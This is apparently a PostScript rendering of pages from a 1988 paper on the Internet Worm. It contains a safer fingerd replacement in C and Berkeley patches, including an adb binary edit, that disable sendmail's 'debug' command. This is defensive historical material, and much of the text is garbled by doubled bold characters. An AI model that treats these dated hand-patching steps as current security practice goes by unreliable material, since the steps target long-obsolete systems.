11 R
1612(errno,)S
3876 V
1744(sys)S
3931 V
11 Y
1885(-)S
3876 V
11 R
1946(nerr;)S
4006 V
11 B
720(e)S
722(ex)S
772(xt)S
829(te)S
867(er)S
917(rn)S
967(n)S
1093(c)S
1095(ch)S
1145(ha)S
1209(ar)S
1266(r)S
11 I
1570(*)S
11 R
1625(sys)S
4061 V
11 Y
1766(-)S
4006 V
11 R
1827(errlist[];)S
4396 V
11 B
720(s)S
722(st)S
767(ta)S
805(at)S
862(ti)S
900(ic)S
933(c)S
1045(v)S
1047(vo)S
1104(oi)S
1161(id)S
1194(d)S
4526 V
14 I
4775(oops)S
11 R
720(oops)S
992(\(msg\))S
4656 V
11 B
720(c)S
722(ch)S
772(ha)S
836(ar)S
893(r)S
11 I
1645(*)S
11 R
1700(msg;)S
4786 V
11 B
720({)S
722({)S
4916 V
976(i)S
978(in)S
1011(nt)S
1075(t)S
11 R
1943(s)S
4971 V
11 Y
1986(-)S
4916 V
11 R
2047(errno)S
2341(=)S
2467(errno;)S
5176 V
976(fprintf)S
1320(\(stderr,)S
1697("fingerd:)S
2153(%s:)S
2382(",)S
2519(msg\);)S
5306 V
11 B
976(i)S
978(if)S
1011(f)S
11 R
1111(\(s)S
5361 V
11 Y
1190(-)S
5306 V
11 R
1251(errno)S
1545(<)S
1671(sys)S
5361 V
11 Y
1812(-)S
5306 V
11 R
1873(nerr\))S
5436 V
1325(fprintf)S
1669(\(stderr,)S
2046("%s\\n",)S
2448(sys)S
5491 V
11 Y
2589(-)S
5436 V
11 R
2650(errlist[s)S
5491 V
11 Y
2985(-)S
5436 V
11 R
3046(errno]\);)S
5566 V
11 B
976(e)S
978(el)S
1028(ls)S
1061(se)S
1106(e)S
5696 V
11 R
1325(fprintf)S
1669(\(stderr,)S
2046("errno)S
2385(=)S
2511(%d\\n",)S
2880(s)S
5751 V
11 Y
2923(-)S
5696 V
11 R
2984(errno\);)S
5956 V
976(exit)S
1205(\(1\);)S
6086 V
11 B
720(})S
722(})S
6346 V
720(s)S
722(st)S
767(ta)S
805(at)S
862(ti)S
900(ic)S
933(c)S
1045(c)S
1047(ch)S
1097(ha)S
1161(ar)S
1218(r)S
11 I
1330(*)S
6476 V
14 I
4728(parse)S
11 R
720(parse)S
1014(\(line\))S
6606 V
11 B
720(c)S
722(ch)S
772(ha)S
836(ar)S
893(r)S
11 I
1581(**)S
11 R
1691(line;)S
6736 V
11 B
720({)S
722({)S
6866 V
976(r)S
978(re)S
1028(eg)S
1078(gi)S
1135(is)S
1168(st)S
1213(te)S
1251(er)S
1301(r)S
1413(c)S
1415(ch)S
1465(ha)S
1529(ar)S
1586(r)S
11 I
1762(*)S
11 R
1817(next,)S
6996 V
11 I
1936(*)S
11 R
1991(search)S
2333(=)S
11 I
2459(*)S
11 R
2514(line;)S
7256 V
11 B
976(i)S
978(if)S
1011(f)S
11 R
1111(\(!)S
1247(search\))S
7920 V
EP
%%Page: 37 38
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2725(- )S
2825(37 )S
2999(-)S
850 V
11 B
1325(r)S
1327(re)S
1377(et)S
1427(tu)S
1465(ur)S
1529(rn)S
1579(n)S
11 R
1705(NULL;)S
1110 V
11 B
976(w)S
978(wh)S
1059(hi)S
1123(il)S
1156(le)S
1189(e)S
11 R
1301(\()S
11 I
1337(*)S
11 R
1392(search)S
1734(&&)S
1970(isspace\()S
11 I
2322(*)S
11 R
2377(search\)\))S
1240 V
1325(search++;)S
1500 V
11 B
976(i)S
978(if)S
1011(f)S
11 R
1111(\(!)S
11 I
1247(*)S
11 R
1302(search\))S
1630 V
11 B
1325(r)S
1327(re)S
1377(et)S
1427(tu)S
1465(ur)S
1529(rn)S
1579(n)S
11 R
1705(NULL;)S
1890 V
976(next)S
1229(=)S
1355(search+1;)S
2020 V
11 B
976(w)S
978(wh)S
1059(hi)S
1123(il)S
1156(le)S
1189(e)S
11 R
1301(\()S
11 I
1337(*)S
11 R
1392(next)S
1645(&&)S
1881(!isspace\()S
11 I
2269(*)S
11 R
2324(next\)\))S
2150 V
1325(next++;)S
2410 V
11 B
976(i)S
978(if)S
1011(f)S
11 R
1111(\()S
11 I
1147(*)S
11 R
1202(next\))S
2540 V
11 B
976({)S
978({)S
2670 V
11 I
1325(*)S
11 R
1380(next)S
1633(=)S
1759(\302\\0\302;)S
2800 V
11 I
1325(*)S
11 R
1380(line)S
1609(=)S
1735(++next;)S
2930 V
11 B
976(})S
978(})S
3060 V
976(e)S
978(el)S
1028(ls)S
1061(se)S
1106(e)S
3190 V
11 I
1325(*)S
11 R
1380(line)S
1609(=)S
1735(NULL;)S
3450 V
11 B
976(r)S
978(re)S
1028(et)S
1078(tu)S
1116(ur)S
1180(rn)S
1230(n)S
11 R
1356(search;)S
3580 V
11 B
720(})S
722(})S
3840 V
720(s)S
722(st)S
767(ta)S
805(at)S
862(ti)S
900(ic)S
933(c)S
1045(c)S
1047(ch)S
1097(ha)S
1161(ar)S
1218(r)S
11 I
2003(*)S
11 R
2058(av[ENTRIES)S
2713(+)S
2839(1])S
2994(=)S
11 B
3120({)S
3122({)S
11 R
3165("finger")S
11 B
3516(})S
3518(})S
11 R
3561(;)S
3970 V
11 B
720(s)S
722(st)S
767(ta)S
805(at)S
862(ti)S
900(ic)S
933(c)S
1045(c)S
1047(ch)S
1097(ha)S
1161(ar)S
1218(r)S
11 R
2067(line[LINELEN];)S
4230 V
11 B
720(i)S
722(in)S
755(nt)S
819(t)S
4360 V
14 I
4760(main)S
11 R
720(main)S
1004(\(\))S
4490 V
11 B
720({)S
722({)S
4620 V
11 R
976(FILE)S
11 I
1912(*)S
11 R
1967(fp;)S
4750 V
11 B
976(r)S
978(re)S
1028(eg)S
1078(gi)S
1135(is)S
1168(st)S
1213(te)S
1251(er)S
1301(r)S
1413(i)S
1415(in)S
1448(nt)S
1512(t)S
11 R
1804(ix,)S
4880 V
2000(ch;)S
5010 V
11 B
976(i)S
978(in)S
1011(nt)S
1075(t)S
11 R
1943(child,)S
5140 V
2000(p[2];)S
5270 V
11 B
976(c)S
978(ch)S
1028(ha)S
1092(ar)S
1149(r)S
11 I
1901(*)S
11 R
1956(ap,)S
5400 V
11 I
1936(*)S
11 R
1991(lp;)S
5790 V
11 B
976(i)S
978(if)S
1011(f)S
11 R
1111(\(!fgets)S
1460(\(line,)S
1753(LINELEN,)S
2307(stdin\)\))S
5920 V
1325(exit)S
1554(\(1\);)S
6180 V
11 B
976(f)S
978(fo)S
1016(or)S
1073(r)S
11 R
1185(\(lp)S
1371(=)S
1497(line,)S
1754(ix)S
1904(=)S
2030(1;)S
2180(ix)S
2330(<)S
2456(ENTRIES;)S
3003(ix++\))S
6310 V
11 B
976({)S
978({)S
6440 V
1325(i)S
1327(if)S
1360(f)S
11 R
1460(\(\(ap)S
1699(=)S
1825(parse)S
2119(\(&lp\)\))S
2463(==)S
2651(NULL\))S
6570 V
11 B
1581(b)S
1583(br)S
1647(re)S
1697(ea)S
1747(ak)S
1804(k)S
11 R
1866(;)S
6830 V
11 I
1009(/*)S
1159(RFC742:)S
1632(")S
1710(/[Ww]")S
2101(==)S
2315(")S
11 Y
2360(-)S
11 I
2421(l")S
2561(*)S
2649(/)S
6960 V
11 B
1325(i)S
1327(if)S
1360(f)S
11 R
1460(\(ap[0])S
1790(==)S
1978(\302/\302)S
2145(&&)S
2381(\(ap[1])S
2711(==)S
2899(\302W\302)S
3138(||)S
3246(ap[1])S
3540(==)S
3728(\302w\302\)\))S
7090 V
1581(ap)S
1748(=)S
1874(")S
11 Y
1919(-)S
11 R
1980(l";)S
7920 V
EP
%%Page: 38 39
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2725(- )S
2825(38 )S
2999(-)S
850 V
1325(av[ix])S
1650(=)S
1776(ap;)S
980 V
11 B
976(})S
978(})S
1110 V
11 R
976(av[ix])S
1301(=)S
1427(NULL;)S
1370 V
11 I
817(/*)S
967(Call)S
1222(the)S
1420("finger")S
1837(program)S
2286(to)S
2436(do)S
2610(the)S
2808(work)S
3092(for)S
3285(us)S
3447(*)S
3535(/)S
1500 V
11 B
976(i)S
978(if)S
1011(f)S
11 R
1111(\(pipe)S
1400(\(p\))S
1591(<)S
1717(0\))S
1630 V
1325(oops)S
1597(\("pipe"\);)S
1890 V
976(child)S
1260(=)S
1386(fork)S
1632(\(\);)S
2020 V
11 B
976(i)S
978(if)S
1011(f)S
11 R
1111(\(child)S
1431(==)S
1619(0\))S
2150 V
11 B
976({)S
978({)S
2280 V
11 R
1325(\()S
11 B
1361(v)S
1363(vo)S
1420(oi)S
1477(id)S
1510(d)S
11 R
1572(\))S
1672(close)S
1961(\(p[0]\);)S
2410 V
11 B
1325(i)S
1327(if)S
1360(f)S
11 R
1460(\(p[1])S
1742(!=)S
1904(1\))S
2540 V
11 B
1325({)S
1327({)S
2670 V
11 R
1581(\()S
11 B
1617(v)S
1619(vo)S
1676(oi)S
1733(id)S
1766(d)S
11 R
1828(\))S
1928(dup2)S
2212(\(p[1],)S
2522(1\);)S
2800 V
1581(\()S
11 B
1617(v)S
1619(vo)S
1676(oi)S
1733(id)S
1766(d)S
11 R
1828(\))S
1928(close)S
2217(\(p[1]\);)S
2930 V
11 B
1325(})S
1327(})S
3060 V
11 R
1325(execv)S
1643(\("/usr/ucb/finger",)S
2507(av\);)S
3245 V
11 Y
1325(-)S
3190 V
11 R
1386(exit)S
1615(\(1\);)S
3320 V
11 B
976(})S
978(})S
3450 V
976(e)S
978(el)S
1028(ls)S
1061(se)S
1106(e)S
1218(i)S
1220(if)S
1253(f)S
11 R
1353(\(child)S
1673(==)S
11 Y
1861(-)S
11 R
1922(1\))S
3580 V
1325(oops)S
1597(\("fork"\);)S
3840 V
11 I
817(/*)S
967(else....)S
1313(we\302re)S
1626(the)S
1824(parent)S
2175(process)S
2574(*)S
2662(/)S
3970 V
11 R
976(\()S
11 B
1012(v)S
1014(vo)S
1071(oi)S
1128(id)S
1161(d)S
11 R
1223(\))S
1323(close)S
1612(\(p[1]\);)S
4230 V
11 B
976(i)S
978(if)S
1011(f)S
11 R
1111(\(!\(fp)S
1374(=)S
1500(fdopen)S
1868(\(p[0],)S
2178("r"\)\)\))S
4360 V
1325(oops)S
1597(\("fdopen"\);)S
4620 V
11 B
976(w)S
978(wh)S
1059(hi)S
1123(il)S
1156(le)S
1189(e)S
11 R
1301(\(\(ch)S
1540(=)S
1666(getc)S
1912(\(fp\)\))S
2175(!=)S
2337(EOF\))S
4750 V
11 B
976({)S
978({)S
4880 V
1325(i)S
1327(if)S
1360(f)S
11 R
1460(\(\()S
11 B
1532(c)S
1534(ch)S
1584(ha)S
1648(ar)S
1705(r)S
11 R
1753(\))S
1853(ch)S
2020(==)S
2208(\302\\n\302\))S
5010 V
1581(putchar)S
1973(\(\302\\r\302\);)S
5140 V
1325(putchar)S
1717(\(\()S
11 B
1789(c)S
1791(ch)S
1841(ha)S
1905(ar)S
1962(r)S
11 R
2010(\))S
2110(ch\);)S
5270 V
11 B
976(})S
978(})S
5530 V
11 R
976(\()S
11 B
1012(v)S
1014(vo)S
1071(oi)S
1128(id)S
1161(d)S
11 R
1223(\))S
1323(wait)S
1576(\(&child\);)S
5660 V
11 B
976(r)S
978(re)S
1028(et)S
1078(tu)S
1116(ur)S
1180(rn)S
1230(n)S
11 R
1356(child;)S
5790 V
11 B
720(})S
722(})S
7920 V
EP
%%Page: 39 40
BP
/slant 0 def
/height 1.000000 def
11 B
11 B
490 V
11 R
2725(- )S
2825(39 )S
2999(-)S
850 V
11 B
720(A)S
722(Ap)S
803(pp)S
867(pe)S
931(en)S
981(nd)S
1045(di)S
1109(ix)S
1142(x)S
1263(D)S
1265(D)S
1410(\320)S
1412(\320)S
1588(P)S
1590(Pa)S
1659(at)S
1716(tc)S
1754(ch)S
1804(he)S
1868(es)S
1918(s)S
2027(t)S
2029(to)S
2067(o)S
2188(S)S
2190(Se)S
2254(en)S
2304(nd)S
2368(dm)S
2432(ma)S
2525(ai)S
2582(il)S
2615(l)S
1016 V
11 R
970(Enclosed)S
1436(are)S
1632(the)S
1830(official)S
2210(patches)S
2602(to)S
2752(the)S
11 I
2950(sendmail)S
11 R
3411(mail)S
3671(delivery)S
4094(agent,)S
4423(as)S
4578(distri-)S
1146 V
720(buted)S
1028(by)S
1266(the)S
1464(Computer)S
1968(Systems)S
2400(Research)S
2864(Group)S
3208(at)S
3351(Berkeley.)S
3902(As)S
4088(noted)S
4396(in)S
4546(the)S
4744(paper,)S
1276 V
720(a)S
832(new)S
1078(version)S
1465(of)S
11 I
1620(sendmail)S
11 R
2081(will)S
2317(shortly)S
2687(be)S
2854(available)S
3313(for)S
3504(anonymous)S
4075(FTP)S
4330(from)S
4607(site)S
1406 V
720(ucbarpa.berkeley.edu.)S
1811(It)S
1942(contains)S
2372(many)S
2680(additional)S
3184(bug)S
3413(fixes,)S
3718(including)S
4198(some)S
4494(that)S
4723(close)S
1536 V
720(different)S
1160(potential)S
1609(security)S
2020(flaws.)S
2413(If)S
2549(possible,)S
3002(that)S
3231(copy)S
3508(should)S
3866(be)S
4033(obtained)S
4475(and)S
4697(used)S
1666 V
720(in)S
870(place)S
1164(of)S
1319(your)S
1584(current)S
1957(version.)S
1832 V
1220(Sendmail)S
1700(has)S
1910(to)S
2060(be)S
2227(either)S
2540(recompiled)S
3097(or)S
3252(patched)S
3656(to)S
3806(disallow)S
4243(the)S
4441(``debug'')S
1962 V
970(option.)S
1408(If)S
1544(you)S
1773(have)S
2043(source,)S
2420(recompile)S
2922(sendmail)S
3383(after)S
3646(first)S
3887(applying)S
4336(the)S
4534(following)S
2092 V
970(patch)S
1271(to)S
1421(the)S
1619(module)S
2013(srvrsmtp.c:)S
2282 V
2131(***)S
2329(/tmp/d22039)S
2956(Thu)S
3166(Nov)S
3421(3)S
3509(02:26:20)S
3934(1988)S
2412 V
2131(---)S
2272(srvrsmtp.c)S
2956(Thu)S
3166(Nov)S
3421(3)S
3509(01:21:04)S
3934(1988)S
2542 V
2131(***************)S
2672 V
2131(***)S
2329(85,92)S
2610(****)S
2802 V
2406("onex",)S
3231(CMDONEX,)S
2932 V
2197(#)S
2285(ifdef)S
2524(DEBUG)S
3062 V
2406("showq",)S
2956(CMDDBGQSHOW,)S
3192 V
2131(-)S
2406("debug",)S
2956(CMDDBGDEBUG,)S
3322 V
2197(#)S
2285(endif)S
2543(DEBUG)S
3452 V
2197(#)S
2285(ifdef)S
2524(WIZ)S
3582 V
2406("kill",)S
2956(CMDDBGKILL,)S
3712 V
2197(#)S
2285(endif)S
2543(WIZ)S
3842 V
2131(---)S
2272(85,94)S
2553(----)S
3972 V
2406("onex",)S
3231(CMDONEX,)S
4102 V
2197(#)S
2285(ifdef)S
2524(DEBUG)S
4232 V
2406("showq",)S
2956(CMDDBGQSHOW,)S
4362 V
2197(#)S
2285(endif)S
2543(DEBUG)S
4492 V
2131(+)S
2226(#)S
2314(ifdef)S
2553(notdef)S
4622 V
2131(+)S
2406("debug",)S
2956(CMDDBGDEBUG,)S
4752 V
2131(+)S
2226(#)S
2314(endif)S
2572(notdef)S
4882 V
2197(#)S
2285(ifdef)S
2524(WIZ)S
5012 V
2406("kill",)S
2956(CMDDBGKILL,)S
5142 V
2197(#)S
2285(endif)S
2543(WIZ)S
5368 V
1220(If)S
1356(you)S
1585(don't)S
1881(have)S
2151(source,)S
2528(here's)S
2858(a)S
2970(script)S
3278(to)S
3428(patch)S
3729(sendmail.)S
11 B
4286(R)S
4288(RE)S
4369(EM)S
4445(ME)S
4550(EM)S
4626(MB)S
4731(BE)S
4807(ER)S
4883(R,)S
4964(,)S
5498 V
970(A)S
972(AL)S
1053(LW)S
1129(WA)S
1241(AY)S
1322(YS)S
1403(S)S
1531(S)S
1533(SA)S
1597(AV)S
1678(VE)S
1759(E)S
1899(A)S
1901(AN)S
1982(N)S
2127(E)S
2129(EX)S
2205(XT)S
2286(TR)S
2362(RA)S
2443(A)S
2588(C)S
2590(CO)S
2671(OP)S
2759(PY)S
2828(Y)S
2973(I)S
2975(IN)S
3020(N)S
3165(C)S
3167(CA)S
3248(AS)S
3329(SE)S
3393(E)S
3533(Y)S
3535(YO)S
3616(OU)S
3704(U)S
3849(M)S
3851(MA)S
3956(AK)S
4037(KE)S
4125(E)S
4265(A)S
4267(A)S
4412(M)S
4414(MI)S
4519(IS)S
4564(ST)S
4628(TA)S
4704(AK)S
4785(KE)S
4873(E!)S
4949(!!)S
4987(!)S
5628 V
11 R
970(Also,)S
1270(if)S
11 I
1401(strings\(1\))S
11 R
1893(doesn't)S
2280(find)S
2521(the)S
2719(string)S
3034(``debug'')S
3510(in)S
3660(your)S
3925(sendmail)S
4386(binary,)S
4758(you)S
5758 V
970(don't)S
1266(have)S
1536(a)S
1648(problem;)S
2109(ignore)S
2453(this)S
2677(patch.)S
5924 V
1220(Note,)S
1525(your)S
1790(offsets)S
2146(as)S
2301(printed)S
2676(by)S
11 I
2850(adb)S
11 R
3079(may)S
3332(vary!)S
3690(Comments)S
4232(are)S
4428(preceded)S
4885(by)S
6054 V
970(a)S
1082(hash)S
1347(mark,)S
1664(don't)S
1960(type)S
2213(them)S
2497(in,)S
2675(nor)S
2885(expect)S
11 I
3234(adb)S
11 R
3463(to)S
3613(print)S
3885(them)S
4169(out.)S
4466(Also,)S
4766(we're)S
6184 V
970(using)S
11 I
1273(strings\(1\))S
11 R
1765(to)S
1915(find)S
2156(the)S
2354(decimal)S
2765(offset)S
3078(in)S
3228(the)S
3426(file)S
3636(of)S
3791(certain)S
4152(strings.)S
4602(To)S
4788(find)S
6314 V
970(out)S
1175(if)S
1306(your)S
11 I
1571(strings)S
11 R
1936(command)S
2433(prints)S
2748(offsets)S
3104(in)S
3254(decimal,)S
3693(put)S
3898(8)S
4017(control)S
4392(\(non-)S
6444 V
970(printable\))S
1460(characters)S
1965(in)S
2115(a)S
2227(file,)S
2465(followed)S
2919(by)S
3093(four)S
3339(printable)S
3793(characters,)S
4326(and)S
4548(then)S
4801(use)S
6574 V
11 I
970(strings)S
11 R
1335(to)S
1485(find)S
1726(the)S
1924(offset)S
2237(of)S
2392(your)S
2657(four)S
2903(printable)S
3357(characters.)S
3954(If)S
4090(the)S
4288(offset)S
4601(is)S
4739(``8'',)S
6704 V
970(it's)S
1175(using)S
1478(decimal,)S
1917(if)S
2048(it's)S
2253(``10'')S
2571(it's)S
2776(using)S
3079(octal.)S
7920 V
EP
%%Page: 40 41
BP
/slant 0 def
/height 1.000000 def
11 R
11 R
490 V
2756(- 40 -)S
910 V
1702(Script)S
1998(started)S
2323(on)S
2466(Thu)S
2676(Nov)S
2931(3)S
3019(18:45:34)S
3444(1988)S
1040 V
1427(#)S
1515(find)S
1725(the)S
1892(decimal)S
2272(offset)S
2554(of)S
2678(the)S
2845(strings)S
3172(``debug'')S
3617(and)S
3808(``showq'')S
4272(in)S
4391(the)S
1170 V
1427(#)S
1515(sendmail)S
1945(binary.)S
1300 V
1702(okeeffe:tmp)S
2264({2})S
2458(strings)S
2785(-o)S
2909(-a)S
3026(sendmail)S
3456(|)S
3511(egrep)S
3786('debug|showq')S
1430 V
1702(0097040)S
2120(showq)S
1560 V
1702(0097046)S
2120(debug)S
1690 V
1702(okeeffe:tmp)S
2264({3})S
2458(adb)S
2649(-w)S
2797(sendmail)S
1820 V
1427(#)S
1515(set)S
1670(the)S
1837(map,)S
2087(then)S
2309(set)S
2464(the)S
2631(default)S
2968(radix)S
3226(to)S
3345(base)S
3572(10)S
1950 V
1702(?m)S
1869(0)S
1957(0xffffffff)S
2388(0)S
2080 V
1702(0t10$d)S
2210 V
1702(radix=10)S
2132(base)S
2359(ten)S
2340 V
1427(#)S
1515(check)S
1802(to)S
1921(make)S
2191(sure)S
2406(that)S
2604(strings\(1\))S
3058(was)S
3261(right,)S
3530(and)S
3721(then)S
3943(find)S
4153(out)S
4327(what)S
2470 V
1427(#)S
1515(the)S
1682(byte)S
1904(pattern)S
2241(for)S
2401(``showq'')S
2865(is)S
2972(for)S
3132(your)S
3366(machine.)S
3831(Note)S
4077(that)S
4275(adb)S
2600 V
1427(#)S
1515(prints)S
1799(out)S
1973(that)S
2171(byte)S
2393(pattern)S
2730(in)S
2849(HEX!)S
2730 V
1702(97040?s)S
2860 V
1702(97040:)S
2527(showq)S
2990 V
1702(97040?Xx)S
3120 V
1702(97040:)S
2527(73686f77)S
3077(7100)S
3250 V
1427(#)S
1515(check)S
1802(on)S
1945(the)S
2112(string)S
2396(``debug'',)S
2869(then,)S
3119(overwrite)S
3571(the)S
3738(first)S
3948(four)S
4163(bytes,)S
3380 V
1427(#)S
1515(move)S
1792(up)S
1935(4)S
2023(bytes,)S
2316(and)S
2507(then)S
2729(overwrite)S
3181(the)S
3348(last)S
3534(two)S
3732(bytes)S
3997(with)S
4226(the)S
4393(byte)S
3510 V
1427(#)S
1515(pattern)S
1852(seen)S
2079(above)S
2373(for)S
2533(``showq''.)S
3640 V
1702(97046?s)S
3770 V
1702(97046:)S
2527(debug)S
3900 V
1702(97046?W)S
2161(0x73686f77)S
4030 V
1702(97046:)S
2527(1684365941)S
3352(=)S
3627(1936224119)S
4160 V
1702(.+4)S
4290 V
1702(.?w)S
1890(0x7100)S
4420 V
1702(97050:)S
2527(26368)S
3077(=)S
3352(28928)S
4550 V
1427(#)S
1515(check)S
1802(to)S
1921(make)S
2191(sure)S
2406(we)S
2566(wrote)S
2848(out)S
3022(the)S
3189(correct)S
3524(string.)S
4680 V
1702(97046?s)S
4810 V
1702(97046:)S
2527(showq)S
4940 V
1702(okeeffe:tmp)S
2264({4})S
2458(strings)S
2785(-o)S
2909(-a)S
3026(sendmail)S
3456(|)S
3511(egrep)S
3786('debug|showq')S
5070 V
1702(0097040)S
2120(showq)S
5200 V
1702(0097046)S
2120(showq)S
5330 V
1702(okeeffe:tmp)S
2264({5})S
5460 V
1702(script)S
1979(done)S
2225(on)S
2368(Thu)S
2578(Nov)S
2833(3)S
2921(18:47:42)S
3346(1988)S
7920 V
EP
%%Trailer
%%DocumentFonts: Courier Courier Times-Roman Times-Bold Times-Italic Symbol Troff
%%Pages: 41
DataMuseum.dk

DKUUG/EUUG Conference tapes

⟦affa84c4a⟧ TextFile

Derivation

TextFile
